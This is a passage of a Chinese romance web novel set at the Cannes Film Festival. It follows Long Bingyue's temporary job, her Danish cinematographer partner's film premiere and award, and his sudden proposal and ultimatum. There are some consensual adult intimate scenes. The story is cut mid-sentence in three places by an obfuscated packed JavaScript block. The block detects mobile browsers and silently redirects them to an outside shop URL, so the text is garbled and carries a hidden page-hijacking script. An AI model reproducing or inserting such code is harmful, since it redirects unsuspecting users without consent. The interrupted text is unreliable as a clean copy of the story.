这普通得仿佛是用随机取名程序起的名字……龙秉月没敢太毒舌,为了活跃气氛一般,淡淡笑着猜测:“打错字了吧。” 不过也可以说,高手不需要花里胡哨的名称加持。 “卧槽!”对方直接爆粗,“我们公司成立以来面试过成百上千人了,你是第一个蒙对的。” 太过荒诞,龙秉月反而笑不出来。 蒋天然继续解释道:“老板本来想用编织的织,问朋友咋样的时候打错了字,感觉是老天的意思,就这么叫了。对了这个不要外传啊,以后面试还要问别人的,之前答错的人都不知道正确答案。” 负负得正,龙秉月没忍住笑了出来。 “太好了你笑了,我的面试KPI之一完成了。” “什么KPI?” “我们的目标是让每个面试者都能笑着离开。不搞压力面试,大家轻轻松松聊天,轻轻松松工作。” 是吗,别小瞧她的记忆力啊。 “那你们职位要求上怎么写了抗压能力?”龙秉月反问。 蒋天然的抗压能力显然够强,被拆穿了也脸不红心不跳:“这是把我们招聘启事研究透彻了啊……我逼着HR加上的,多劝退点人,我少面试几个,可不就轻松了嘛!” 龙秉月在这样的氛围下也放轻松,大胆起来:“那你给我offer,后面就都不用面试了。” “你怎么跟我想到一块去了!我们太有共同语言了,你一定要拿下总监。” 面试后她们加了微信。有了蒋天然的补课,龙秉月顺利通过了后续的总监面和HR面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038453|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然,归根结底是因为她的能力,还有她和职位的匹配度。 但她想这也是因为总监专门问了她五月的档期,大概他们需要一个能在戛纳就开始干活的苦力。 不巧她刚好符合条件,还不用公司掏电影节期间昂贵的住宿费。多好的免费牛马。 好处是她的试错成本降低,有机会早点发现职位是否合适,不合适的话趁早说拜拜,再找下一家。到时候简历上不写之梦,也不会有空白期。 之梦联合制片的那部中外合拍电影,入围了主竞赛单元,首映日期在首周末的周六。 他们从开幕当天开始就忙前忙后,龙秉月因为简历上写的视频自媒体运营经历,以及摄影和后期能力,而被分配了拍剪vlog的工作。 制片公司本来是幕后的,这年头也要上到台前,立司设,搞宣传。 这样一来,只要别人工作没停,她就得跟着拍素材,成了看上去最忙的人。 除此之外,她还被临时拉去当过主演的陪同口译。老板只问了“你可以不”,她说可以,就真的敢让她上。 安宴知道她找了份“戛纳临时工”,幽幽感叹她“真是闲不下来”,但不会干涉,只会在晚上回到酒店房间后,以亲吻讨回白天被冷落的赔偿。 龙秉月心虚地保证,他的电影首映那天,一定都听他的安排。 - 《雪,绒,花》首映前的上午。 安宴仔细地系好龙秉月裙子背后的带子:“好了,跟我去剧组聚餐吧。” “……嗯。” 龙秉月起床后才知道这回事,早前承诺过都听他安排,现在自然不会拒绝。 所以……他送她这条裙子,是为了让她在他同事面前盛装亮相吗? 自狂欢节以来,他们渐渐在彼此的朋友圈中公开。安宴的家人虽然还没听说,但知道他们这次一起来戛纳。 或许,等回去后,就要向他的家人说明了。 这顿午餐可以算作一场排演,她还是很紧张的。 聚餐在一家普通的西餐厅,在角落用几张小桌子拼成了一张大桌子。 店里同时有不少其他顾客,有影迷认出来了导演,特意过来要签名。他十分爽快地签了,表面又有点端着,像是要把“社恐”的北欧刻板印象进行到底。 等粉丝离开后,卡斯帕立马暴露出本性:“哎哟,Jens,你带妹妹来戛纳了?” “咦,这是你妹妹吗?感觉你们比之前长得更像了。”另一人附和道。 这个人是之前在伊比斯海滨酒吧买酒的剧组人员之一,龙秉月有印象。 “不是妹妹,是未婚妻。”安宴平静地丢出一颗炸弹。 炸的不是剧组众人,而是龙秉月。 未什么妻?未婚什么?什么婚妻? 比起称呼,事发突然更让人惊愕。 然而她面上保持镇定,只当是跨年大戏重演,只不过角色对调。 首映在即,小小插曲没有引起什么风波,大家的话题很快转到电影上。 剧组成员来自多个国家,对话以通用的英语进行。龙秉月努力降低存在感,也不忘捕捉和记住关键信息——她现在可是半只脚踏入电影圈的人了。 各种趣闻轶事听得她津津有味,连安宴用叉子卷意面的动作,都没能像往常一样吸引她的注意力。 他注意到了她的没注意,忿忿地卷了好大一圈。 47. [锁] [此章节已锁] 《雪,绒,花》的首映,和一种关注单元的其它电影一样,在戛纳电影宫的德彪西厅。 这个厅分楼上和楼下,除了预留给嘉宾的座位外,均不设划座,持票入场的人可以自行找座位,先到先得。 龙秉月拿了安宴给的邀请票,早早进去锁定了楼上第一排中间偏左的位置。 视野好,和银幕之间没有他人阻隔,主创从楼下进场时也一览无余。 影厅对不走红毯的观众没有dresscode要求,但她还是穿了他准备的礼服裙。 在影厅顶部灯光的照耀下,裙子的墨绿色泽泛着优雅的光,贴身的设计勾勒出她优雅的曲线,后背镂空的绑带更添一丝性感。 置身于一众休闲风、最多商务休闲风穿搭的记者之间,她美得格外突出。 仿佛光不是来自灯,也不是来自裙面的反射,而是来自她本人。 红毯尚未开始,有的记者闲不住,上前打招呼:“嗨,我注意你很久了。你是哪里的记者?” 嘉宾座位都在楼下。不是嘉宾的话,大概率就是媒体人员了。 人往往有固定的座位偏好,几天下来,记者对经常坐在这附近的人都眼熟了,这场却突然冒出来一张生面孔。 关键是,极其艳丽的生面孔。如果见过,一定过目不忘。 龙秉月友好地笑笑:“我不是记者,我是电影主创的亲友。” “那你怎么不去坐楼下呢?” “总觉得坐高一点可以更客观地看电影,怎么说,有种上帝视角的感觉?” 龙秉月话说到一半,红毯直播开始了,在影厅的大银幕上同步播放着,声音盖过了她的后半句话。 她说,她也不想被影像中汹涌而出的情绪浇个透顶,总有悲观的预感。一个人看应该更轻松吧。 但只有她自己听得到。 “主创才是电影的上帝呀。”来搭话的记者留下最后一句,便回到座位上,掏出电脑工作起来,飞速敲打着键盘记录红毯盛况。 红毯上,主创团队来了五个人,导演兼编剧卡斯帕,安宴,还有三位主演。 都是午餐时见过的人。 这感觉很奇妙,刚刚才一起吃饭、轻松谈笑的几个人,此刻在红毯上万众瞩目,对着上百台摄影机展现出完美的姿势和笑容,璀璨如星辰。 上一瞬近在眼前,下一瞬远在天边。 他们走上红毯,走进电影宫,消失在银幕直播画面的边缘,转而出现在影厅门口,伴随着厅里的掌声和欢呼声。 银幕内外就这样无缝衔接。 龙秉月顿时泪目了。 隔着泪花,她凭借得天独厚的地理位置,看到安宴沿着过道走向主创专属的座位,一路和影迷们打招呼。 她的座位,他的座位,银幕中点,三者恰好三点连成一条直线。 - 电影准时开始放映。 “喂,今天我们做什么?” “做什么?当然是什么都不做。你怎么还在问这种蠢问题,绒。” 第一段对话发生在雪和花家的后院。那里摆着几颗镂空的南瓜头,时间是万圣节前后,初雪还没有降临。 整部影片的基调就是如此:戏剧冲突不强的生活流,没有深刻意义的日常对话。 百无聊赖,漫无目的,微不足道,日复一日。这是生活本身。 时间和空间都显得不再重要,何时何地无法带来差别。没多久鹅毛大雪覆盖大地,更是消解了时间和空间的标识。 何况,正片和提前释出的两张剧照一样,是黑白摄影。 用黑白拍雪……绝妙的点子。于是观众的情绪也像银幕上大片大片的白,空旷,难以言明。 从头到尾,似乎只有“偷车出逃”称得上是一个事件。 他们在冬至前上路,圣诞前归来。 到处白雪皑皑,终点和起点看起来没什么两样。或许无论逃到哪里都是一样的,但他们至少有过改变的决心。 直到最后的归途。 海报上花靠着车窗睡觉的一幕。 车停靠在路边,轮流担任司机的雪和绒下车抽烟,休息。 “我们说好了,永远都不能告诉花这件事。” “当然,不能让她知道我们去的其实不是丹麦最北边,只是邻岛北边的海岸。” “先坦白的人也许会得到她的原谅,但……” “我们不能自私,要一起守护她。保密对她来说是最好的。” 故事背景设定在千禧年,没有智能手机,花无从通过地图定位得知真实位置。 观众们在看到这一幕之前,也完全被蒙在鼓里,于是真相揭晓才打得人措手不及,久久无法回神。 他们回到车上,准备继续朝家的方向开。 上车的动静吵醒了花,她睡眼朦胧地问:“我们到哪了?” 雪:“快到家了。” 绒:“你继续睡吧。” 花:“嗯。” 然而花静静扭头看向窗外。隔着紧闭的车窗,她的刘海似乎被风吹起来了一点。 全片结束。 影厅仿佛也被时间的大雪吞没,静静悄悄,没有反应。 沉默了十几秒,才爆发出雷鸣般的掌声,经久不息。主创们纷纷起立,回首向观众致意。 很多观众也起立鼓掌,龙秉月呆坐在位置上,还在消化着电影内容,和片尾演职人员名单里多次出现的那个名字。 一低头,就对上安宴笑吟吟的视线。 她心情复杂,不断告诉自己编剧是卡斯帕,剧情与安宴无关。可是,剧本之外呢? 避开他的视线,她又看到了评审团主席站起来用力鼓掌。仍然发自内心为他高兴,奖项应该是有戏了。 - 首映之后是发布会,主创集体接受采访。接着是媒体的单独采访、各种应酬…… 等龙秉月终于再次单独见到安宴,已经是午夜了,在酒店房间里。 也算是体会到了前几天他等她回来的心情。 她想体谅他,让他早点休息,但终究没忍住问出口:“你是电影的投资人?” 表面上只是摄影师,片尾名单才透露出他的神通广大。 她不是质疑他“带资进组”能力不足,而是他完全没透露风声,甚至调侃说离组找她会扣工资……拜托,工资就是你自己发的吧! 安宴脸颊泛着红,步伐比平时更加轻盈,乃至略显不稳,一副喝多了的模样。 龙秉月几乎没见过这样的他,一时间有些愣住。这是从发布会结束一直喝到半夜吗? “你是不是喝多了?” “嗯,头有点晕,等下你帮我洗澡吧。” 他这么一说,她又觉得他是不是在装醉。 说到“装”,放在这样的情境下,下午观影时在乎的真真假假好像没那么重要了。不管是雪绒瞒着花,还是安宴瞒着她。 在她发呆期间,安宴已经走到了床边,轻轻拍了下她的脸,唤她回神。然后,捏着她的下巴就覆了上来。 身体紧接着唇贴上来,严丝合缝地压着她。 什么鬼,一言不合就堵住嘴? 不管白天忙碌的是她还是他,晚上都是他在讨要亲吻。 吻不断深入,龙秉月被他口中酒的香甜蛊惑,渐渐由被动变主动,双腿不知不觉缠上了他的腰。 算了,什么事不能接完吻再说呢,又耽误不了几分钟……吧。 不知道多少个几分钟过去后,嘴里的酒味已经淡到没有,两张嘴才分开些许。 然而吻并没有停下。 安宴挨个吻着龙秉月的五官,每吻一下就蹦出来一两个词,断断续续地说着:“我,有没有,投资,重要吗,你,现在的工作,也没有,详细,告诉过我……” 她在给中国的电影公司打工,他的危机感太大了。 龙秉月正欲接话,突然间感觉不对,话到嘴边又改口:“不是说男性过量饮酒后就不行了吗?” “刚才接吻把酒精都代谢掉了呀。”安宴对着她的唇亲了一口,“继续吗?” 谁家酒精代谢靠接吻啊!当她一点生物学常识都没有吗? 龙秉月做出气鼓鼓的模样:“不要。” “好。” 安宴嘴上说着好,却做着完全相反的动作,整装待发:“确定不继续吗?” 龙秉月无奈地抬头看向天花板,过了一会儿又低头看向他。然后又看向天花板,再看向他。缓缓重复了几次这样的颈部活动。 第一次可以说是偶然,后面几次就是刻意了。 安宴很快就意识到,她这是在点头同意。 两个人都还穿着上衣,五月的戛纳有点冷,夜间气温堪堪过10度,室内的人却迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057220|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了燥热的夏天。 气候变化让人们能在一星期内体验四季,而人们凭借自身,一分钟就可以进入盛夏。 从春天到夏天,夏天又渐渐退回春天。 安宴没有和龙秉月分开,抱着她翻了个身,也不让她离开。 “好了,现在可以好好聊天了。坦白局。”他说。 “这怎么好好聊天……”龙秉月趴在安宴胸口,不满道。 站有站相,坐有坐相,聊天也应当有聊天相才对。 冷飕飕的风从开着的窗户吹进来,给身体送来了凉意。来不及多想刚才开着窗户会不会被隔壁听到,她腾出一只手把被子拉来盖上。 下半身隐匿在被子中,从外面绝对看不出来,他们此刻有多紧密。 安宴扳过龙秉月的脸:“这样对话,一方心虚的时候,另一方就能清晰感受到对方身体的变化了。” 果不其然,他说完这句话,她的身体就紧了一紧。 太讨厌了,龙秉月心想,怎么这样拿捏人。最开始是她想质问他,现在搞得倒像是她理亏一样。 好吧,她承认,她确实也瞒了他不少事没说,比如下个月回国,比如她会一点丹麦语。 但她不是刻意隐瞒,只是习惯性拖延。 安宴呢,连一见钟情都瞒着自己。这不是好事吗,有什么好隐瞒的。 “你先说,为什么只说自己是《雪,绒,花》的摄影师,而投资出品、场地协调、后期调色……等等等等,都当没有似的。” 甚至心机地让这些名单没有出现在预告片里! “对不起。你总说羡慕我事业上一直很坚定,难怪爱情上也是。我怕……你知道我事业其实五花八门后,会觉得我感情也不专一。” 安宴呼吸平稳,身体没表现出任何异样,继续缓缓说道,“当然我不是怪你的意思,我只是……我也不知道。” 竟然是这样的原因?可她怎么会这么觉得,她自己事业就很混乱,除非她先觉得自己花心。 “那你就不专一啊,既喜欢我的眼睛,又喜欢我的鼻子,还喜欢我的嘴巴……超级不专一的。”龙秉月讲起歪理。 “好。”安宴专门亲了亲她没提到的耳朵,“该你回答了。在戛纳的这份工作,说明你打算毕业后回中国发展吗?” 龙秉月再次紧了一下。 安宴明白了,或者说他早就猜到了,如今不过是在证实自己的猜想。 他继续问:“为什么不告诉我?怕我不愿意跟你回中国,最后导致我们分开?” 又紧了。 龙秉月真是要认输了,彻底败给这“人形测谎仪”。安宴这么会猜,她都不用说话了。 但是不行,她得扳回一局:“去年夏天,你是不是对我一见钟情?” 从那次听到他用丹麦语这么说以来,她憋了好久好久,到今天终于问出口。 安宴的身体绷紧了一点,这下轮到龙秉月得意了。 “你什么时候发现的?”他以为自己藏得很好。 她侧面回答:“我在学校上了一年丹麦语课,水平应该有B1。” 安宴眯着眼睛仔细回想,哦,又是拜他的电影所赐。那天两人一起看完他拍摄的上一部长片,他情不自禁地说了这些话。 每部电影都要埋下隐患,要不是最终都能解决,再进一步推动感情发展,他真要考虑转行了。 “想起来了?”龙秉月没放过安宴的每一个表情,从思索到开悟,抓准时机问道。 “是啊。”他想起来的事可多着了,想要做的事也不少。 眨眼间,龙秉月感受到他身体的变化,这绝对不是心虚。不仅不心虚,别的地方也丝毫不虚。 她不禁叫出声:“诶诶诶,你怎么回事!” 安宴先是装傻充愣,后又邪魅一笑:“啊呀,第一回合聊天先进行到这里,等下第二回合再见。” 这中场休息是不是有点短,隐瞒一见钟情的理由也没说…… 龙秉月被他抱下来放到床上,视线跟随着他暂时离开,换上新的护具,又重新踏上名为她的征途。 他一边征战,一边对她说。 “为什么不告诉你一见钟情?你感受一下。” “现在发生的,就是那天晚上我梦到的,你说我好意思说吗?” “那天我第一次知道,原来我也会做这种梦。” 48. 第四十八章 到了戛纳后半程,龙秉月和安宴的工作都闲了下来,也成了半个影迷。 每天看看电影追追星,偶遇自己喜欢的影人,也被安宴的新晋粉丝偶遇。 整个电影节的倒数第三天,也是一种关注单元颁奖的前一天,龙秉月像往常一样,和安宴并肩走在路上。 日落时分,晚霞把沙滩染成了橘色,棕榈树投下长长的影子。海边露天放映的入口前,人们正排着队有序入场。 快行至队末的时候,侧边传来一句软绵绵的中文,小心翼翼试探着:“龙秉月?” 她和安宴一起扭过头,动作整整齐齐,仿佛上半身被一根无形纽带牵连着。 “你是……”龙秉月在黄昏中,努力辨认着逆光朝她快步走来的人,“余嘉怡?” 她的高中同学。她不是不认得,而是难以相信在这里遇到她。 没记错的话,她学的专业是材料工程,和电影毫不相关;现在在国内工作,和戛纳远隔千山万水。 “天哪,竟然真的是你!”余嘉怡眼睛一亮,先她一步表示出了惊讶和好奇,“以前都不知道你是资深影迷。你也是三日证吗?我在今年来戛纳的中国影迷群里好像没看到你,要不要拉你进来。” 戛纳曾经是专属于从业人员的盛会,最近几年新增了面向青年影迷的三日体验证件,28周岁以下都可以申请,观众更加多元化了。 “不是,我是来打工的。不过,群可以拉我,谢啦。我记得你是在国内工作吧,专门请假来戛纳看电影吗?” “哪止啊,我是辞职来的。”余嘉怡语不惊人死不休。 这也太爱了。龙秉月微微张着嘴,说不出话来。 余嘉怡被她的表情逗乐了:“开玩笑的,我是准备九月读研,提前辞职休息几个月,不是专门为了戛纳辞职的。 “话说你打工是……应该不是媒体吧?”她看向龙秉月身后,又问道。 “不是,我是给之梦,也就是《夜的告白》的制片公司打工。” “这么好!那你能见到李导和演员们吗?” “这种光鲜亮丽的好事哪轮得到我们底层牛马……首映那天甚至忙得没空偶遇。而且他们第二天就离开戛纳了。”感叹归感叹,龙秉月的语气里没有一丝可惜。 “唉……真希望《夜的告白》能拿奖,他们回来领奖让我见一见。对了,有剧组召回的消息拜托告诉我啊!” 到了最后的颁奖日,很多前期放映影片的主创都已经离开了戛纳。如果获奖,组委会就要提前通知他们赶紧回来,以免错过颁奖礼。 哪些人离开了又回来,大概率是有奖了。在颁奖之前,谁回了谁没回,每年都是人们津津乐道的话题。 “没问题。但我觉得你的微信群、小红书,很可能比我知道得还要早,哈哈哈。” 她们在沙滩放映的队伍里,就快排到入场处了。犹豫许久的余嘉怡终于憋不住了,对龙秉月说:“你后面那个男的一直在看你。” 龙秉月自然知道她指的是谁,但还是下意识顺着她的话回头看了一眼,才回道:“噢,他是我……” “未婚夫。”安宴自然而然接上,这个词已经被他说顺口了,“你好,我是她的未婚夫。” “啊?”轮到余嘉怡呆住了。 在她的呆愣面前,龙秉月的反应就显得尤为自然,她已经接受了这样的“人设”,就当是加强版挡桃花。 “那个……”余嘉怡缓过劲来,又问,“你不会是JensAndersen吧?” 可别小瞧资深影迷在电影节的认人能力。 况且,《雪,绒,花》剧组接受某杂志采访时,拍摄了一组硬照,被几个电影博主转发到了微博,小小出圈了一下。 热评:【博主真的没标错吗,个子最高身材最好的两个是导演和摄影师,不是演员也不是模特???】 甚至有人嗑起了cp。 龙秉月看到了微博,又无语又佩服,顿时感觉戛纳的棕榈树×红毯也能嗑起来。 ——毯每年铺十几天,树却全年365天守候;要拿有树叶标志的金棕榈奖杯,得从毯上走过去参加颁奖礼,为了树的闪耀毯甘愿被践踏…… 总之,因为这里是戛纳,因为早先刷到过微博,当下被认出也没觉得意外。 “嗯,他是。”关于他本人的问题,他倒是不抢答了,龙秉月只好替他答道。 这时候刚好入场了,余嘉怡很有眼力见地和两人告别:“我不当电灯泡啦,有空再聚。观影愉快~” 转眼又在微信上给龙秉月发:【你们办婚礼的时候记得请我!这份子钱不能少了我!】 思维未免太发散了。他们演戏最多也才演到假装计划领证而已,结婚根本是想都没想过的事,虚无缥缈,何况婚礼。 龙秉月坐在沙滩放映的椅子上,双脚踩着沙子,稍一动作就会打滑。安宴勾着她的手,正和旁边的人聊天。周围的人来来往往。 天几乎全黑了,主要光源来自银幕,和银幕架子上方的灯。等到放映开始,银幕将变成唯一的光源。 但是不需要等电影开始,此刻的生活就很像电影;而戛纳电影节本身,像一场大型真人秀。 脚下的沙滩软软的,身下的帆布躺椅软软的,她的脑袋也软软的,有点不想回到现实了。 - 第二天上午,龙秉月睡醒后听到的第一句话,是安宴对她说:“组委会召回全剧组了。” 嗯?什么?她还没完全清醒,反应慢了半拍,牙刷戳进嘴里的时候才明白过来——全剧组,全、剧、组,这是要拿大奖的前奏吧?! 剧组其他人前些日子都离开了戛纳,有去尼斯的,有去巴黎的,甚至有回丹麦的。 好在都不算远,现在正在飞机或高铁赶回来的路上。 这无疑是特大喜讯,龙秉月洗漱完出来,反而不合时宜地感叹:“提前知道了会拿大奖,颁奖时的惊喜要被冲淡了吧。” 想来是因为局外人的缘故,不被激动冲昏头脑。 “先别急着下结论,万一是评审团新造出来的什么颁给全剧组的奖呢。期望多大失望就有多大,谨慎期待。”结果当事人安宴更加冷静,“不过借你吉言。还有……嘴这么甜,让我尝尝。” 一种关注单元只有一个奖项是固定的:最高奖“一种关注大奖”。 其它奖由评审团自行决定,自己起名,颁给电影、导演、演员或其它角色都可以。每年评审团不同,奖项类型和数量也不一样。 所以,安宴的猜测是合理的。 “晚上颁奖典礼和我一起走红毯,好不好?” 龙秉月被安宴抵在窗帘上,隔着窗帘背靠露台的门,消化着这个问题。 拉开窗帘,就可以欣赏海景,也会被楼下的陌生路人热情打招呼。他们不一定认识你,他们只是自来熟。 如果说首映的时候她还在害羞,不好意思出现在绝对的主角身旁,哪怕只是坐在他旁边看电影,那么在颁奖典礼,她的顾虑可以打消了。 颁奖典礼没有主角,影人、记者、从业人员或单纯的影迷,只要有入场凭证并且穿着打扮符合服装要求,都可以走上红毯,进入电影宫参加典礼。 而且闲下来之后,最近他们每天都同进同出,她已经习惯了。 在这个星光璀璨的地方,影人也只是普通人。或许会被认出,但没必要有压力。 “好啊。”龙秉月答应道,“但我没有合适的衣服了。我记得女士走红毯必须穿晚礼服加高跟鞋?鞋有,唯一的礼服被你……嗯……” 首映那天他喝多了,虽然没醉,但也比平时花样多。 玩完“人形测谎仪”,又非要她换上白天穿过的礼服裙,他自己也穿着参加首映时的西装,在电视上播放《雪,绒,花》,把套房客厅想象成影厅,沙发就是影厅的座位。 虔诚地亵渎着自己的影视作品,借由此创造着新的艺术作品,爱的艺术。 服装和电影一道,为爱奉献了自身。 但是没关系,艺术家会不断拥有新的创作素材。 安宴松开龙秉月,朝办公桌走去:“就算没坏也不穿那条,我怎么能让你穿旧衣服走红毯?有两条新的高定裙子,昨天已经送到酒店前台了,我现在打电话让他们送上来。” 定制……男朋友太熟悉自己的身材就是会这样,冷不丁拿出一件两件的衣服。 久而久之习惯了,惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085377|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜感变淡,幸福感却愈发浓厚——他的爱一直没有减少诶。 没两分钟,裙子就被送了过来。 两条都是红色的,龙秉月不禁感叹出声:“你就这么喜欢我穿红色?” 百分百确定了原因,就是因为第一次见面,她穿的红色。 或者反过来看,彼时的她穿了红色,也许正是他坠入爱河的诱因之一。 “红色在中国代表喜气,不是很适合今天的场合么。”安宴没有正面回答。 - 颁奖典礼在晚上,龙秉月选择了更简洁大气的一条,和安宴一起登上了红毯,一起走进场地入座。 他旁边是剧组的其他人,在欧洲的,能赶过来的,都来了。 这么大阵仗,不拿大奖很难收场。 等候期间,龙秉月打开了余嘉怡拉她进的微信群,里面正在讨论满天飞的颁奖小道消息—— 【雪绒花全剧组都来了,有戏。】 【看来大奖没啥悬念了,虽然我更期待华语片拿一种关注大奖。】 【别想了,导演都离开戛纳了。还是期待明天夜的告白主竞赛拿奖吧。】 …… 灯光暗下,她赶紧收起手机,把目光聚焦在台上。 颁奖是个折磨人的过程,对大奖获得者来说尤其如此。最重磅的奖项最后颁发,要等待最长的时间,经受最久的心理煎熬。 龙秉月没经历过这样的过程,表现得比安宴还紧张,咬着嘴唇,面色发白。 安宴见状,牵过她的手,十指交握传递力量。又悄声耳语安慰着。 颁奖典礼向全世界直播,镜头不时扫过观众席,偶尔给出特写。 导播很会搞事,看到八成要拿大奖的电影摄影师正在和女伴咬耳朵,立马来了个特写,帮他们把恩爱秀给全世界。 戛纳屈才了,这个导播应该直接打包送去恋综后台。 当然,心思都在颁奖上的主角们,根本不知道发生了什么。 他们正被震耳欲聋的欢呼声包裹着。 但欢呼声只是背景音,主导音是:“一种关注大奖的得主是——《雪,绒,花》!” 这一刻龙秉月体会到,提前得知消息,现场的惊喜并不会减少一分一毫。 同一时间,安宴仍然牵着她的手,偏过头来,飞快地亲了一下她的唇,然后才松开手,和剧组一起上台领奖。 谁都知道大奖得主被念出的那一刻,所有镁光灯都聚焦在获奖剧组。安宴知道,龙秉月也知道。 他们的这个亲吻,会永远留在戛纳的档案影像库里。 - 颁奖典礼后依然有采访、活动、派对……但安宴消失了。 这就体现出电影摄影师的好处了。如果他是导演,创作团队中最核心的人物,那么为了职责就必须留下。 但他只是摄影师,所以可以溜之大吉。会有人问他去哪了,不过没关系,影响不大。 安宴拉着龙秉月一路躲开祝福的人群,来到空旷无人的沙滩上。 这里距离主会场没多远,远眺仍能看到电影宫外悬挂着的巨幅海报,只不过它现在缩成了几块小小的像素。 龙秉月免不了担心:“你就这样跑了没关系吗?” “没关系,好消息有你分享就够了,别人都无所谓。”安宴说,“和恋人在海边散步,在电影节拿到大奖,谁说后者比前者重要呢?” “毕竟,再多摄影机的闪光加起来,都不及你眼中的光彩。” 怎么回事,突然这么肉麻。 龙秉月还没反应过来,只见安宴不知道从哪里掏出来了一枚钻戒,下一瞬就单膝跪地。 没有任何预兆。 没有任何铺垫。 “MsLongBingyue,marryme.” 他唤她的全名,用祈使句而不是问句,让她嫁给他。 然后用中文说了一遍,又用丹麦语说了一遍。 他刚刚获得了从业以来最高的荣誉,绝大多数电影摄影师可能终其一生都拿不到的荣誉。 可他头也不回地从领奖台上下来,远离众星捧月的关注。 在她面前下跪求婚,眼里只剩她一人。 49. 第四十九章 龙秉月当场怔住了。 怦——哗——呼—— 心跳声、海浪声和风声交织在一起,奏响一曲凌乱的三重奏。 夜晚气温低,她披着安宴的西装外套,本来要靠走路产生的热量才会不觉得冷。 可是现在,站在原地不动,却感觉浑身发热,发热又发凉,冷热交替。 不,不是不动,她下意识后退了半步,朝着大海的方向。 此刻,海浪就在脚边,她的大脑很乱,完全不知道怎么应对。 但“不知道”本身,其实就是变相的拒绝。不然她早该在第一时间,捂着嘴流泪说我愿意,再伸出手让他为她戴上戒指。 安宴把她的一切反应看在眼底,眼神渐渐从期待变为哀求,再到绝望。 她什么意思,再明显不过了。 正当他准备再度开口时,龙秉月一个踉跄,跌坐在了被海浪冲刷过的沙滩上。 一个浪打过来,沾湿了西装外套的底部和她腰臀部位的裙子。 安宴顾不得求婚冷场,连忙起身过去拉她,自嘲道:“就这么不想和我结婚,你宁愿跳海?” 哪怕只是简简单单一句“不是”,她也接不上话。安静乖巧地任他拉她起来,掏出手帕贴心地帮她擦拭腰部湿掉的裙子。 然后问她:“裙子湿了,现在回酒店吧?别被吹感冒了。” 龙秉月疲惫地点了点头。 她没有答应他的求婚,他态度还这么好。她的心塌陷了一块,陷入深深的自责。 她当然很爱他,大概这辈子都不会有更爱的人了,但是结婚……完全没有想过。她才23岁,才第一次恋爱,不敢设想未来。 从跨年那天到现在,他们“角色扮演”了太多次,她已经习惯了“未婚妻”“未婚夫”这样的称呼,就像很多情侣会互叫“老婆”“老公”一样。 可是她忘记了,丹麦人通常并不会这样。安宴当真了。 他显然早就开始规划这一场求婚,或许甚至早在跨年之前。那时候他们才在一起多久?他疯了吗? 龙秉月思维游离,只是下意识跟着安宴在走,却被突然叫停:“等一下。” 她心下一惊,他不会又要搞事吧?够了够了,今晚够了,她无法承受更多。 好消息,他没搞事。坏消息,他把她身上的西装外套脱了。 怎么,不答应你的求婚,连你的衣服也不能穿了吗? 哼,那她还真是不答应得好。 外套被塞进了气鼓鼓的龙秉月的手里:“拿好了。” 安宴没给她反应时间,直接把她公主抱起来,又嘱咐道:“等下那边人多,可以把外套盖在头上。” ……哦,她现在的确狼狈。礼服裙湿了,表情也难看,前不久才刚在颁奖典礼上接吻,没多久两个人就臭着脸出现在公众面前是挺尴尬的。 他考虑得还怪周到。 脑袋上盖着衣服,不会被看到表情,龙秉月总算敢开口:“你怎么突然求婚,继续恋爱不好吗?” 安宴的声音没什么温度:“你想怎么恋爱?你在中国,我在丹麦,有空了就办个中国旅游签去找你?还是免签入境只待六天?多好啊!真是好极了!” 龙秉月被怼得接不上话。 但事实确实如此。他们即将分隔两国。 没错,婚姻可以解决签证问题,随时想跨国就跨国,可是安宴真的愿意牺牲那么大吗? 他处在事业上升期,刚刚拿到大奖,马上各种邀约不断,正是借此飞升的好时机。 这样为她牺牲,无疑会埋下隐患。将来事业若不如意,就会怪罪爱情耽搁了他。 就算他不怪她,她自己也会落入自责的无底洞,久而久之关系必然会有裂痕。 那她呢,别说她从来都坚定回国,她甘心留在丹麦过这样的生活吗。 她会被撕裂成两半,一半为爱情留下,一半疯狂想念祖国。最终乡愁耗尽爱情,而她绝望地眼睁睁看着这一切发生。 安宴继续没什么温度地说:“我绝对不要和你异国恋。” 预想中的矛盾爆发了,爆发得比她预想中激烈,没有商量的余地。 - 安宴一直抱着龙秉月回到酒店房间,到沙发边上才把她放下来。 “你不用有顾虑,今晚我出去住,你好好在这儿休息。” 龙秉月抿着嘴唇,抬眼看着他,没说话。 “求婚在离开戛纳前都有效,好吗?我知道这有些突然,你好好考虑,我等你。” “如果我……”拒绝呢,龙秉月想问,是不是恋爱都没得谈了。 安宴猜到后半句,直接告诉她答案:“结婚,或者分手,你选。” 太残忍了,逼她做出抉择。 选择是一种权利,她不想要这种权利。看似掌握主动权,其实处于被动的境地。 